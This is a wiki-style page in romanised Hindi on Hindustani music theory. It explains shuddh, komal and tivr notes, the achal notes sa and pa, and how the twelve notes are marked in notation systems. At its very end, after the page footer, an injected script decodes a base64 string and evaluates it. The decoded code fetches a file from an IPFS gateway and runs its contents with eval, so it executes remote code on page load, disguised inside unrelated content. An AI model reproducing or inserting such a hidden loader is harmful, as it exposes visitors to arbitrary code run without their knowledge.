शुद्ध तीव्र स्वर

sa, re, g, m, p, dh, ni shuddh svar kahe jate haian. inamean sa aur p to achal svar mane ge haian, kyoanki ye apani jagah par qayam rahate haian. baki paanch svaroan ke do-do roop kar die ge haian, kyoanki ye apani jagah par se hatate haian, isalie inhean komal v tivr namoan se pukarate haian. inhean vikrit svar bhi kaha jata hai.

kisi svar ki niyamit avaz ko niche utarane par vah komal svar kahalata hai aur koee svar apani niyamit avaz se ooancha jane par tivr svar kahalata hai. re, g, dh, ni, ye charoan svar jab apani jagah se niche hatate haian to 'komal' ban jate haian aur jab inhean phir apane niyat sthan par pahuancha diya jata hai to inhean 'tivr' ya 'shuddh' kahate haian. kintu 'm' yani madhyam svar jab apane niyat sthan se hatata hai to vah niche nahian jata, kyoanki usaka niyat sthan pahale hi nicha hai; at: 'm' svar jab hatega yani vikrit hoga, to ooancha jakar 'tivr' kahalaega. gayakoan ko sadharan bolachal mean komal svaroan ko 'utare svar' aur tivr svaroan ko 'chadhe svar' bhi kahate haian.

is prakar do achal tatha paanch shuddh aur paanch vikrit, sab milakar barah svar hue–

1. re, g, m, dh, ni (shuddh svar)- in par koee chihn nahian hota.
2. re, g, dh, m, ni (vikrit svar)- inamean re, g, dh, ni komal haian aur 'm' tivr hai.

  vishnu digambar svaralipi paddhati mean barah svar is prakar likhe jate haian–

• sa, p – achal v shuddh svar.
• ri, g, m, dh, ni – shuddh svar.
• ri, gh, mh, dhh, ni – vikrit svar. (inamean ri, g, dh, ni' komal aur 'm' tivr hai)

inake atirikt uttari sangit paddhati mean any chihn pranaliyaan bhi chal rahian haian, kintu mukhy roop se uparyukt do chihn pranaliyaan hi prachalit haian. komal aur tivr ke atirikt saptak tatha matra adi ke any chihn bhi lagae jate haian, jinaka vivaran is pustak mean age chalakar 'svaralipi-paddhati' lekh mean vistrit roop se diya gaya hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>